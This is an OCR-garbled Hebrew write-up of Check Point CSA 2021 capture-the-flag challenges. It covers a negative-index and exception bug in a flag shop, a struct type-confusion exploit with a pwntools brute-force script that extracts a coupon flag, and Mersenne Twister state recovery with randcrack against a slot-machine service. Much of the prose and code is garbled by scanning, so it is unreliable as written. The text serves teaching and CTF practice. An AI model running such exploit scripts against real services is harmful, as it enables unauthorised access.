-7 yan 71 X7 077 ni?s 1118 XN pnwna 0'7aTn 75 7w 00N DOV 117" NptTan NN
MY 1IRXN NANKA L1770 0'RINN IR 117 "D T2 NIY2InG XIXn? 11'9y ;7D DX .0dn 120

NIY7IN

ST K7 Df'w 7w inventory? opTI'R NNY N01 DXY nXM :sell_flag_menu n'¥71192 NIIWRIN

NRAYN NYTIN O9TIN X

send("Invalid flag index. This attempt is logged!")
NPT y'wnt TIpn X

flag to sell :
-0 W IR 7m0 IR Y index [N D NRIE L7 Inventory-2 X¥NIW TNR 72T DN N

M2 coins N727 2'0'MMID INT .NIYAVNA TIY 721721 ,117100 12DW 727N DX AW 110N TX .inevntory

.0'7722n

orkinyo@DESKTOP-CTEHDRV:/c/Users/orkin/Documents/ctfs cyber shit/csa-
2021/fun with flags$ nc fun-with-flags.csa-challenge.com 6666
Welcome to

™ilkLi BERE"RE 1 9
FREIY %11 MF ML

Check Point CSA - 2021ManX N1T0
www.DigitalWhisper.co.il
47 2022 WNxN29 ,136 I'a




What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

There are 20 flags available to buy.
How many flags would you like to buy?
2

You have 1000 coins.

Available flags to buy:

Suriname -
Togo - 100
Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Cape Verde - 900
Israel - 1000
Russia - 1200
USA - 1200
Cuba - 1300
CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500

Which flag would you like to buy?

0

You tried to buy flag Suriname (allowed to purchase? True). This
transaction was logged successfully.

Suriname flag bought!

You have 900 coins.

Available flags to buy:

Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Cape Verde - 900
Israel - 1000
Russia - 1200
USA - 1200
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Cuba - 1300

CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500

Which flag would you like to buy?

10

You tried to buy flag Cape Verde (allowed to purchase? True).
transaction was logged successfully.

Cape Verde flag bought!

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

have 2 flags.
many flags would you like to sell?

Available flags to sell:

0 Suriname - 100
1 Cape Verde - 900

Which flag would you like to sell?
1

Cape Verde flag sold!

Available flags to sell:

Which flag would you like to sell?

=1

Invalid flag index. This attempt is logged!

Failed to log transaction of Cape Verde flag. Do you have write
permission?

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

There are 19 flags available to buy.
How many flags would you like to buy?
2

You have 1800 coins.

Available flags to buy:

0 Togo - 100
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Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Israel - 1000
Russia - 1200
USA - 1200
Cuba - 1300
CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500
Cape Verde - 900

1
2
3
4
5
6
7
8

Which flag would you like to buy?

900 n7vw 7aTn DX 1MdN nwavn 900 n7vw 7am nivavn 100 n7vw 7aT 11 A7nnna
72TN DR 1DNY D'YN NNIRY NDINY? 1D2AND INRY7E (inventory-2 1 O TR 7p2 KIN) NIvaun
TIN 127011 'KIN? 110101 None 'R flag_to_sell-w |1'n X AXawn NYTIN D09 TIN ,-1 OpTI'RA

Nivaon 900 Tiv 17 MY NN QI 2aTn

2V 1TN7 N1 .niyavn 1800 117 W'Y NO'STN NIJINNI 02T W NIRRT NYZRAY NIXTYT [N 91017
AN - NI DY2ITA 0NN 7227 YT R TR DY2IT 0737 NN NP7 D2 NY) 'DI0YTX |9INA IT N7IYD

.(Inventory-2 0"72TN 190N KIN X TWXD D727 X N7 17

DRN D'NTYE YXINY D190 7w pnn D tbuy_flag_menu nr¥zaoa nkynl ntawn nwlinn

‘try excepte-1 qILY ,'722T NP7 NNWOR W' ynnwnY

if @ <= flag _index < len(available flags):
flag to_buy = available flags[flag_index]
allowed_to_buy flag = user.can_afford_flag(flag to_buy)
log message = str(user) + f" is trying to buy flag {flag_to_buy
.name}"
if flag to_buy.name == "CSA":
log message += "\n***ATTENTION -
CSA FLAG PURCHASE. RUNNING ADDITIONAL CHECK***"
allowed_to_buy flag = allowed_to_buy_flag and user.allowed_

to_buy CSA flag()

log message += " Additional checks result -
user is " + ("ALLOWED" if allowed to buy flag else "NOT ALLOWED") + " to purch
ase it"
send("You tried to buy flag " + flag to buy.name + " (allowed t
o purchase? " + str(allowed to buy flag) + "). This transaction was logged succ
essfully.")
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log message = str(user) +
existing flag. This looks suspicious!"
send("Invalid flag index. This attempt is logged!")

is trying to buy an non-

open("log.txt", "a+").write(log message + "\n")

send(f'Failed to log transaction of flag purchase. Do you have writ
e permission?"')

707 N¥M2 'wn' TIipn X ,allowed_to_buy_ CSA_flag 7w nj'1an 197 exception-7 nINA7 7211 ox

Xy aTh nMp v

flag_to_buy :
allowed_to _buy flag:
user.buy flag(flag_to_buy)
available flags.remove(flag_to_buy)
send(f"{flag to buy.name} flag bought!")

WA My User-n 7w str_ 'Xa19awa NN

.owned_flags:
total colors = sum(flag.colors flag .owned_flags)
total stripes = sum(flag.stripes flag .owned_flags)
total_stars = sum(flag.stars flag .owned_flags)
result += "\nAverage value per: "
result += "color (total {}) -

}, ".format(total colors, user_value / total colors)
result += "stripe (total {}) -

}, ".format(total stripes, user_value / total stripes)
result += "star (total {}) -

}.\n".format(total stars, user_value / total stars)

result += "Owned flags:\n"
result += "\n".join(str(flag) flag .owned_flags)
PN 0-2 npi7n yxann ?0 I'n' total_stars IX total_colors ,total_stripes DX mp' nn

.Exception
:D'KINN TN 1ITAY'Y D727 DIW' DX 21721 NYD

InroN 72T NX XXNaI

lag("Russia", 1200, "Home to the Hermitage Museum", 3, 3, 0),

‘MW Exception P ,119¢ Inventory-2 T'N'N 72N N'D* XIN DX 271 021D 0 W' n'oN 72a17

result += "star (total {}) -

{ }.\n".format(total stars, user value / total stars)

.Exception-n Pt X721 'RaN% 01011 X7 NONK ,N'0N 2T DR Mj7Y 'NdNY 17 'Y

.owned_flags:
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22T NN WIDO7 "TD NIvaun 2'00n NN D NMIYXIA - NIYZIND "My wnnwn? 12'7V ) DX

:CSA 721 nNI n'on

orkinyo@DESKTOP-CTEHDRV:/c/Users/orkin/Documents/ctfs cyber shit/csa-
2021/fun with flags$ nc fun-with-flags.csa-challenge.com 6666
Welcome to

™ilkLi BERE"RE 1 9
FREIY %11 M F ML

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

There are 20 flags available to buy.
How many flags would you like to buy?
2

You have 1000 coins.

Available flags to buy:

Suriname -
Togo - 100
Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Cape Verde - 900
Israel - 1000
Russia - 1200
USA - 1200
Cuba - 1300
CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500

Which flag would you like to buy?

0

You tried to buy flag Suriname (allowed to purchase? True). This
transaction was logged successfully.

Suriname flag bought!

You have 900 coins.

Available flags to buy:

Azerbaijan - 100
Liberia - 200
Myanmar - 200
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Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Cape Verde - 900
Israel - 1000
Russia - 1200
USA - 1200

Cuba - 1300

CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500

Which flag would you like to buy?

10

You tried to buy flag Cape Verde (allowed to purchase? True). This
transaction was logged successfully.

Cape Verde flag bought!

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

have 2 flags.
many flags would you like to sell?

Available flags to sell:

0 Suriname - 100
1 Cape Verde - 900

Which flag would you like to sell?
1

Cape Verde flag sold!

Available flags to sell:

Which flag would you like to sell?

=1

Invalid flag index. This attempt is logged!

Failed to log transaction of Cape Verde flag. Do you have write
permission?

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS
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5 - LIST MY STATS

6 - EXIT

2

There are 19 flags available to buy.
How many flags would you like to buy?
2

You have 1800 coins.

Available flags to buy:

Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Israel - 1000
Russia - 1200
USA - 1200

Cuba - 1300

CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500
Cape Verde - 900

Which flag would you like to buy?

0

You tried to buy flag Togo (allowed to purchase? True). This transaction
was logged successfully.

Togo flag bought!

You have 1700 coins.

Available flags to buy:

Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Israel - 1000
Russia - 1200
USA - 1200

Cuba - 1300

CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500
Cape Verde - 900

Which flag would you like to buy?
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9

You tried to buy flag Israel (allowed to purchase? True). This
transaction was logged successfully.

Israel flag bought!

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

have 3 flags.
many flags would you like to sell?

Available flags to sell:

0 Suriname -
1 Togo - 100
2 Israel - 1000

Which flag would you like to sell?
2

Israel flag sold!

Available flags to sell:

0 Suriname -
1 Togo - 100

Which flag would you like to sell?

=1

Invalid flag index. This attempt is logged!

Failed to log transaction of Israel flag. Do you have write permission?
Available flags to sell:

0 Suriname -
1 Togo - 100

Which flag would you like to sell?

=1

Invalid flag index. This attempt is logged!

Failed to log transaction of Israel flag. Do you have write permission?
What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

You have 2 flags.

How many flags would you like to sell?
2

Available flags to sell:
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0 Suriname -
1 Togo - 100

Which flag would you like
1

Togo flag sold!

Available flags to sell:

Which flag would you like
0

Suriname flag sold!

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

There are 20 flags available to buy.
How many flags would you like to buy?
1

You have 3900 coins.

Available flags to buy:

Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
Russia - 1200

USA - 1200

Cuba - 1300

CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500
Cape Verde - 900
Israel - 1000
Togo - 100
Suriname -

Which flag would you like to buy?

)

You tried to buy flag Russia (allowed to purchase? True). This
transaction was logged successfully.

Russia flag bought!

What would you like to do?
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LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

There are 19 flags available to buy.
How many flags would you like to buy?
1

You have 2700 coins.

Available flags to buy:

Azerbaijan - 100
Liberia - 200
Myanmar - 200
Philippines - 300
Uzbekistan - 400
Tajikistan - 500
Slovenia - 600
Syria - 700
Honduras - 800
USA - 1200

Cuba - 1300

CSA - 1337
Jordan - 1400
Singapore - 1400
Venezuela - 1500
Cape Verde - 900
Israel - 1000
Togo - 100
Suriname -

Which flag would you like to buy?

11

Failed to log transaction of flag purchase. Do you have write
permission?

CSA flag bought!

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

0 Russia - 1200
1 CSA - 1337
What would you like to do?

1 - LIST AVAILABLE FLAGS
2 - BUY FLAG

Check Point CSA - 2021ManN N1TO
www.DigitalWhisper.co.il

2022 WNxN29 ,136 I'a




L Technologic |

SELL FLAG
LIST MY FLAGS
LIST MY STATS
EXIT

5
User Dr. Amy Farrah Fowler (NON-VIP) has 1363 coins. Account value:
3900.

Average value per: color (total 4) - 975.00, stripe (total 36) - 108.
star (total 7) - 557.14.

Owned flags:

Russia - Home to the Hermitage Museum (price: 1200)

CSA - CSA{M4y Th3Re ALwa¥Y5 8E A ST4R On_yOUR fL4G} (price: 1337)

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXTIT

27T NN D2 WIDO7 N'90NY NIYaLN NIND A'wWn? ') D'YD MIYKIN NYW2IN] NYNNWUN 7D N'UX)

.CSA 721 NX DAl N'oN

,inventory-1 TNX 72T 117 W' WD .N'0N 72T NN 71 1171 DNIYIAY D*22TN 7D NIX 1701 ;)0 INX

.0-7 W e total_stars X

:N2N V790 0OTI'W NXNAI CSA 72T X NP7 N0 NWd

Which flag would you like to buy?

11

Failed to log transaction of flag purchase. Do you have write
permission?

CSA flag bought!

What would you like to do?

JINIYIAY 0'72TN NIX 0'9T1 PN INKT .N171 727N X ,excpet-7 1010]

What would you like to do?

LIST AVAILABLE FLAGS
BUY FLAG

SELL FLAG

LIST MY FLAGS

LIST MY STATS

EXIT

User Dr. Amy Farrah Fowler (NON-VIP) has 1363 coins. Account value: 3900.
Average value per: color (total 4) - 975.00, stripe (total 36) - 108.33,
star (total 7) - 557.14.

Owned flags:

Russia - Home to the Hermitage Museum (price: 1200)

CSA - CSA{M4y Th3Re ALwa¥5 8E A ST4R On yOUR fL4G} (price: 1337)

e anEyatall

CSA{M4y_Th3Re_ALwaY5_8E_A_ST4R_On_yOUR_fL4G}
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(m1mi?a 300 ,Reversing n'i1av?) Computed Shopping Assistant 1l NManx

;00770

Welcome to Computed Shopping Assistant |l

Sadly, some users found a way to abuse the system and use a secret coupon.
This time, we have added a new coupon that can't be revealed!

Note: the flag is in the format of CSA{...}

nc csa-2.csa-challenge.com 2222

.OTIPN MANKN 7 INNON MNK 77 NN MANKN ,Computed Shopping Assistant-7 Jwnn NANK INT

.0"1)'Y Vyn Dy 07N ANKN v O'X2;70 1971X NANKY

JINNo
$ diff —-color ./Computed_Shopping_Assistant ./Computed_Shopping_Assistant_II/

Only in ./Computed_Shopping_Assistant_II/: a.out
diff --color ./Computed_Shopping_Assistant/main.c ./Computed_Shopping_Assistant_II/main.c

--color ./Computed_Shopping_Assistant/shopping_cart.h ./Computed_Shopping_Assistant_II/shopping_cart.h

in ./Computed_Shopping_Assistant_II/: solve.py
in ./Computed_Shopping_Assistant_II/: try.c

1197 Ni7'T2 NOIN DN DUI'Y WYY DRI .DNANKD AW 7w D 7y diff ynl n'ur
I |

.90-n 71Ma 17w discount_amount-n DX [I91j7 NO'STN K7W - [I191j7 NODTN

NXMIY 72Tn DX 70 19170 INT - 100 7w discount_amount 7u2 901 [I91j7 VIV MANRNY NX)
,NN'97 DNIX 7'MV D T 7Y DRISIR 7w NN N7 N7 117 ¢'y 1120 DTN MANKY .RNP7?
-0 DX )NYY 751 DX 21T INI )2 DX .DAIBIR NIFNY DNIX TN NNYON NNIDN DR )

1017 7w discount_amount

struct coupon_item {
int discount_amount;
int have_entered;
int is_valid;

int length;

int expiration_day;
int expiration_month;
int expiration_year;
char code[
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grocery item {
amount_grams;
amount_kilograms;
amount_items;
amount_loaves;
amount_liters;
description|

.amount_grams XIn '"M92 discount_amount-7 orINY field-nw nxM

.struct-2 179 NNTANYT 09 DNIRTR DIY 17 'RY DX .TIPN 722 amount_grams-7 DMIDTR WON)
NXT ,)NYY7 210W D2I91R YW NINNRD NRDNN 7V 75101 DK (1'DN N7 NWa?7 10N D DX
DAY NAIDN 1IRNYT DNIYRY NITY NNl length Lis_valid ,have_entered NX Ny7 D'™710' 11NINY
Y7191 length-2 "ayn win'y 'y X1 07N NRIDNY T2 DNIDTR WUON] .Niynyn Mon

XKAN

apply a coupon() {
(!loaded coupons) {
load _coupon("coupon_10.txt", 10);
load coupon("coupon 50.txt", 50);
load coupon("coupon_100.txt", 100);
loaded_coupons = 5

}

printf("Please enter your coupon:\n");

newline;
scanf("%c", &newline);
fgets(user_input, );

( i=0; 1« ; i++) |
item* item = &shopping cart.items[i];
(item->type == TYPE_COUPON && !item->coupon.have_entered) {
(!'memcmp(item->coupon.code, user_input, item-
>coupon.length)) {
printf("Applied coupon for %d%% OFF!\n", item-
>coupon.discount_amount);
item->coupon.have_entered =

J

printf("Invalid coupon!\n");
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N'¥j71197 DMVNI9] VITYWYT 1 ,1INT'NAY W length IR N7 D10 NNIX :memcmp-7 17 M'w

:memcmp

Declaration

Following is the declaration for memcmp() function.

int memcmp(const void *strl, const void *str2, size_t n)

Parameters
2 str1 — This is the pointer to a block of memory.
+ str2 - This is the pointer to a block of memory.

5 n - This is the number of bytes to be compared.

:D'VIAPZ DN QYN 7NN 7ATIY DT INIRY 1N LPwn? 5 nirnt length Nk 0w on
NINJ7 WID'NN 2NN DX '0P'Y NN 72T 72w 1N ' 7Y byte-by-byte 0119012 y¥a7 7210 721, CSA{

2212 D'unn 190n 719> printable-n 0NN

N2 NN DR A'WN7 T NMWN DY WUTN WY NINSY7 1'72Y 1IN 7D A'waw NNN
pwn
string

context.log level

flag = "CSA{"
EDIT_ITEM = b"2"
EDIT_AMOUNT_ITEMS
EDIT LOAVES = b"4"
COUPON_INDEX = b"2"

ALPHABET = string.printable

wait_menu_end():

r.recvuntil(b"Checkout\r\n")

edit item( ,

wait menu_end()
.sendline(EDIT_ITEM)
.recvuntil(b"edit?\r\n")
.sendline(index)
.recvuntil(b"Cancel\r\n")
.sendline(property)
.recvuntil(b"amount: ")
.sendline(value)

to _fruit length to_ coupon():
flag
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[LRIRT] [TRTRT}

edits the coupon's length to len(flag) + 1
new_length = len(flag) + 1
edit_item(COUPON_INDEX, EDIT_LOAVES, str(new_length).encode())

edit_item(COUPON_INDEX, EDIT_AMOUNT ITEMS, b"e")

wait_menu_end()
r.sendline(EDIT_ITEM)
r.recvuntil(b"edit?\r\n")
r.sendline(COUPON_INDEX)

bruteforce():
global flag
for ¢ in ALPHABET:
wait menu_end()
r.sendline(b"5")
r.recvuntil(b"Please enter your coupon:\r\n")
r.sendline((flag + c).encode())
line = r.recvuntil(b"\r\n").decode()
if "Invalid" in line:
continue
if "Applied" in line:
print(f"found new flag: {flag}{c}")
flag += c
if ¢ == "}":
print("finished!")
exit()
return
else:
print("something strage is afoot")
exit(9)

while True:
r = remote('csa-2.csa-challenge.com', 2222)
wait_menu_end()
r.sendline(b"5")
r.recvuntil(b"Please enter your coupon:\r\n")
r.sendline(b"AAAAAAA")

to_fruit_length_to_coupon()
bruteforce()

orkinyo@DESKTOP-
CTEHDRV:/c/Users/orkin/Documents/ctfs cyber shit/csa-
2021/Computed Shopping Assistant II$ python3 solve.py
found new flag: CSA{T

found new flag: CSA{Ty

found new flag: CSA{Typ

found new flag: CSA{Typ3

found new flag: CSA{Typ3

found new flag: CSA{Typ3 C

found new flag: CSA{Typ3 CO
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found new : CSA{Typ3 COn

found new : CSA{Typ3 COnF

found new : CSA{Typ3 COnFu

found new : CSA{Typ3 COnFub

found new : CSA{Typ3 COnFu51l

found new : CSA{Typ3 COnFu510

found new : CSA{Typ3 COnFu510n

found new : CSA{Typ3 COnFu510n_

found new : CSA{Typ3 COnFu510n i

found new : CSA{Typ3 COnFu510n iS

found new : CSA{Typ3 COnFu510n 1iS

found new : CSA{Typ3 COnFu510n iS a

found new : CSA{Typ3 COnFu510n iS a

found new : CSA{Typ3 COnFu510n iS a R

found new : CSA{Typ3 COnFu510n iS a Re

found new : CSA{Typ3 COnFu510n iS a ReA

found new : CSA{Typ3 COnFu510n iS a ReAL

found new : CSA{Typ3 COnFu510n iS a ReAL

found new : CSA{Typ3 COnFu510n iS a ReAL P
found new : CSA{Typ3 COnFu510n iS a ReAL Pr
found new : CSA{Typ3 COnFu510n iS a ReAL Pr0
found new : CSA{Typ3 COnFu510n iS a ReAL PrOb
found new : CSA{Typ3 COnFu510n iS a ReAL PrObL
found new : CSA{Typ3 COnFu510n iS a ReAL PrObL3
found new : CSA{Typ3 COnFu510n iS a ReAL PrObL3m
found new : CSA{Typ3 COnFu5l0n iS a ReAL PrObL3m}
finished!

su R N Eratall

CSA{Typ3_COnFu510n_iS_a_ ReAL PrObL3m}

(111722 300 ,Reversing n1av;?) Slot Machine Reloaded NWanx

Remember the Slot Machine from CSA 2019?
Well, this one is a little harder...

http://slot-machine-reloaded.csa-challenge.com/

:Slot Machine Reloaded.py Yaln 911X 1anNKY?

import random

import collections
import math

from .secret import flag

PRINTABLE = "©123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ! \"#$%&" ()*+-/:.;<=>?2@[]~_"{}"
flag len = len(flag)
NO_COINS = "NO MORE COINS! GOODBYE."
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NOT_ENOUGH_COINS = "YOU DON'T HAVE ENOUGH COINS!"
INVALID COIN_NUMBER = "COIN NUMBER CAN'T BE NEGATIVE"

INITIAL_

COINS = 10

class Slotmachine(object):

def

def

NTABLE)

:]

__init_ ( ):
seed = random.SystemRandom().getrandbits(64)

self.random = random.Random(seed)

self.slots = [1ist(PRINTABLE) for i in range(flag_len)]
self.attempt_num = ©

self.total coins INITIAL_COINS

self.last_result = ""

self.last_gamble (%]

get _prize( ):

result = self.last result

prize = sum([x for x in collections.Counter(result).values() if x > 2])
prize *= self.last_gamble

self.total coins += prize

return prize

prepend_flag( ):

for i in range(flag_len):
self.slots[i].remove(flag[i])
self.slots[i] = [flag[i]] + self.slots[i]

check_invalid_input( , ):

if self.total coins <= @:
self.last_result = ""
return NO_COINS

if self.total_coins < coins:
self.last_result = ""
return NOT_ENOUGH_COINS

if coins < ©:
self.last_result = ""
return INVALID_ COIN_NUMBER

return None

choice( K
rand_num = format(self.random. randbelow((1 << (flag_len*len(f'{len(PRI
- 1:b}"))) - 1),

"#0%db' % (len(self.slots)*int(math.log(len(PRINTABLE), 2)) + 2))[2

result = ""

j=2o0

for i in range(9,len(rand_num),len(f'{len(PRINTABLE) - 1:b}")):
result += self.slots[j][int(rand_num[i:i+len(f'{1len(PRINTABLE) -

1:b}")1,2)]

def

j+=1
return result

spin( , ):
invalid message = self.check invalid input(coins)
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if invalid_message:
return invalid_message.center(flag_len)

self.last_gamble = coins
self.total _coins -= coins

if self.attempt_num == 200:
self.prepend_flag()
self.attempt_num += 1

result = self.choice()
self.last _result = result
return result

def main():
slotmachine = Slotmachine()
print(f"You have {slotmachine.total coins} coins")
get_next_num = True
while get_next_num:
try:
prize = ©
coins = int(input("Enter number of coins:\n"))
result = slotmachine.spin(coins)
if result == NO_COINS:
get_next_num = False
elif result != NOT_ENOUGH_COINS:
prize = slotmachine.get_prize()
print(result)
print(f"You won {prize} coins!")
print(f"{slotmachine.total coins} coins left.")

except ValueError:
get_next_num = False

except NameError:
get_next_num = False

NX MRYNnw Ty nNiw? DI|7YJJ.) D'UI3.|7'7 Vi DOVY D'INYN 11290 ,N1dINN NKX 110702"MY NNKX

ANITARMP N0NA7 AN (DWW

import random
import collections

flag = "CSA{AAAAAAAAAAAAAAAAAAAAAAAAAAAYL"

PRINTABLE = "©123456789ABCDEFGHIJKLMNOPQRSTUVIWXYZ ! \"#$%&" () *+-/:.;<=>2@[]"_ {}"
flag_len = len(flag)

NO_COINS = "NO MORE COINS! GOODBYE."

NOT_ENOUGH_COINS = "YOU DON'T HAVE ENOUGH COINS!"

INVALID_COIN_NUMBER = "COIN NUMBER CAN'T BE NEGATIVE"
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INITIAL_COINS = 10
big num = 6277101735386680763835789423207666416102355444464034512895

class Slotmachine(object):
def __init_ ( ):
seed = random.SystemRandom().getrandbits(64)

self.random = random.Random(seed)

self.slots = [1ist(PRINTABLE) for _ in range(flag_len)]
self.attempt_num = 0

self.total coins INITIAL_COINS

self.last _result = ""

self.last_gamble = ©

get prize( ):

result = self.last result

prize = sum([x for x in collections.Counter(result).values() if x > 2])
prize *= self.last_gamble

self.total_coins += prize

return prize

prepend_flag( ):

for i in range(flag_len):
self.slots[i].remove(flag[i])
self.slots[i] = [flag[i]] + self.slots[i]

check_invalid_ input( , ):

if self.total coins <= @:
self.last_result = ""
return NO_COINS

if self.total_coins < coins:
self.last_result = ""
return NOT_ENOUGH_COINS

if coins < @:
self.last_result = ""
return INVALID_COIN_NUMBER

return None

choice( K

rand_num = format(self.random. randbelow(big num), '#0194b"')[2:]
result = ""
j=20
for i in range(©, 192, 6):
result += self.slots[j][int(rand_num[i:i + 6], 2)]
j+=1
return result

spin(self, ):
invalid_message = self.check_invalid_input(coins)
if invalid_message:

return invalid_message.center(flag_len)

self.last_gamble = coins
self.total coins -= coins
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.attempt_num == 200:
.prepend_flag()
.attempt_num += 1

result = .choice()
.last_result = result
result

main():
slotmachine = Slotmachine()
print(f"You have {slotmachine.total coins} coins")
get_next_num =
get_next_num:

prize = ©
coins =1
result = slotmachine.spin(coins)

result == NO_COINS:

get_next_num =

result != NOT_ENOUGH_COINS:

prize = slotmachine.get prize()
print(result)
print(f"You won {prize} coins!")
print(f"{slotmachine.total coins} coins left.")

ValueError:
get_next_num =

NameError:
get_next_num

__main__

NN

TN on' W'y 1IN NRT random._randbelow 7w 0'079 200 N1dINNN D'7270 1INIXY AX] LD DX
;127 slot machine-2 n72pnIw NIkN 2 DY TN

rand_num = format( .random._ randbelow(big num), '#0194b')[2:]

.0'01 192-1 "7 NV ropmin 1%0nn NI 1274192 -1 11'n big_num-w 17 1Imw qona

[2 7V ,NIX NN'RNN 0777 7271 TR 70 D'0M 6 7w D07 32-7 rand_num NX N7¥9N NIDINN D NX

._randbelow-n 72apnnw Y7 mdnn 7w 099 75 1907 0713 1INIX ,NVIYD 191 N7IYD NNTYA

222Tnn TR NIR TAXIN ,Mmipnn 7w slot 727,200 7w attempt_num-7 12aN TUXOW X

.attempt_num == 200:
.prepend_flag()

prepend_flag( ):
i range(flag len):
.slots[i].remove(flag[i])
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.slots[i] = [flag[i]] + .slots[i]

.slot 722 NNR DY9 71 V'oIN 72T 7Y NIRN i

200 17 nINY |I'N ,random-21 WD NWRIN RINN7A YIN DK (1D 1IRXA X7 NAwnNn oyn 1NX

.slots-7 qonnn flag-n ™ 1 nimaT

NP PNYT IATH VAN Nd

The underlying implementation in C is both fast and threadsafe. The Mersenne
Twister is one of the most extensively tested random number generators in
existence. However, being completely deterministic, it is not suitable for all

purposes, and is completely unsuitable for cryptographic purposes.

JIN"'S NSV v N'XomipITan np'n N'"M20N 7Y AT XMNN IR

TN MIYN NIR IRZ CWRD .Mersenne Twister XIN ,I12 TYNNWN NM90NY prng-n¥ |'¥n XIN

L1%v2 'mintoa 'm0 VImY prng XIn Mersenne Twister ,IY9'NY NN NX IIRXNY 1IXAN

752 D'V 32 7Y NINAT 624-1 IX YT DY DR NITNYI Mersenne Twister NR 11AWY 1D
N"7YY random._randbelow N'™M90N 7¢ N'MMION N¥ADY ARNP MY 17 NIY T2 R DNR

TIVIN OYND 'K
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https://docs.python.org/3/library/random.html

7w 0790 NX 7¥97 N1 - NYWNT VAN ,D'WIDN 7W NIPT NNd "INKR

rand_num = format( .random._randbelow(big num), '#0194b')[2:]

A'wN? 1 randbelow 7w 0'0%p 104 110X NI .0'01 32 7T TNXR 7D - DY D'0T79 NWYY

:N2N PoC-n M1V NMYWNN DX PTA . TRXK 72 0 32 77122 0oy 624

random
pwn w
randcrack

big num = 6277101735386680763835789423207666416102355444464034512895
rc = randcrack.RandCrack()
gen = random.Random("seed")

i range(104):
rng = format(gen. randbelow(big num), '#0194b')[2:]
1st rng = []
i range(0, 192, 32):
1st _rng.append(int(rng[i:i + 32],2))
1st _rng = 1st _rng[::-1]
rng_num 1st rng:
rc.submit(rng_num)

print(rc.predict _getrandbits(32))
print(gen.getrandbits(32))

,JINX 7D 00" 32 7w NIN'aT 6-7 DMITNIMN D'DYN DX 77Nn randbelow-7 o'y 104 X7 PoC-n
T 2V TN Wil randcrack 7w MT'NN W 09TIN D INKX .RancCrack-7 Nim'faTn NX 001l

‘random

PS \ctfs_cyber_shit\csa-2021\Slot_Machine_Reloaded\Python-random—module—cracker\randcrack> python .\POC.py

1162399750
1162399750

20 ,7niNnn NMwin 7Y random 7w 0AYY 1N NIWYYT? 0710 NNIXKE NNNXNN 179 nywnn 12nan
7¥91 randbelow 7w 1T'NN DX .NWN YW random DWW 7V IT'N NWY'Y TR 2IMDY7 KN DY) MNNY
ATNINY ARXIMNY M ,0 KIN 1770 D'Dynn TRX DX ,TNR 72 D' 6 77122 0w 0oy 32-4

227NN NIK 7N ,0Th WN 7Y 0TIk NWNN

NN Mersenne Twister 7w D'0Y9 624 N72p7nW randcrack N'™M907 NYan D'WID'N VYN NNX
(17w NIXXINN DX NITNY 7'NnnY? a1

pwn *
randcrack

requests
json
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import time

big_num = 6277101735386680763835789423207666416102355444464034512895
PRINTABLE = "©123456789ABCDEFGHIIKLMNOPQRSTUVIWXYZ ! \"#$%&" ()*+-/:.;<=>?@[]*_ {}"

s = requests.Session()
url = "http://slot-machine-reloaded.csa-challenge.com/"
url spin = f"{url}spin/?coins=1"

s.get(url)
randcrack.RandCrack()

def get 32 bit_outputs_from_num( ):
rng = format(num, '#0194b"')[2:]
1st rng = []
for i in range(0, 192, 32):
1st_rng.append(int(rng[i:i + 32],2))
1st _rng = 1st_rng[::-1]
return 1lst_rng

get_rand_output(

r =[]

start = 0

for out in spin_output:
out _int = PRINTABLE.find(out)
start = start << 6
start += out_int

return start

get flag char_indexes( ):
"""return list of indexes that randbelow returned zero for
1=11]
for i in range(0,192,6):

predict = format(num, '#0194b')[2:][1i:1i46]

if int(predict,2) == 0:

1l.append(i // 6)

return 1

main():

for _ in range(104):
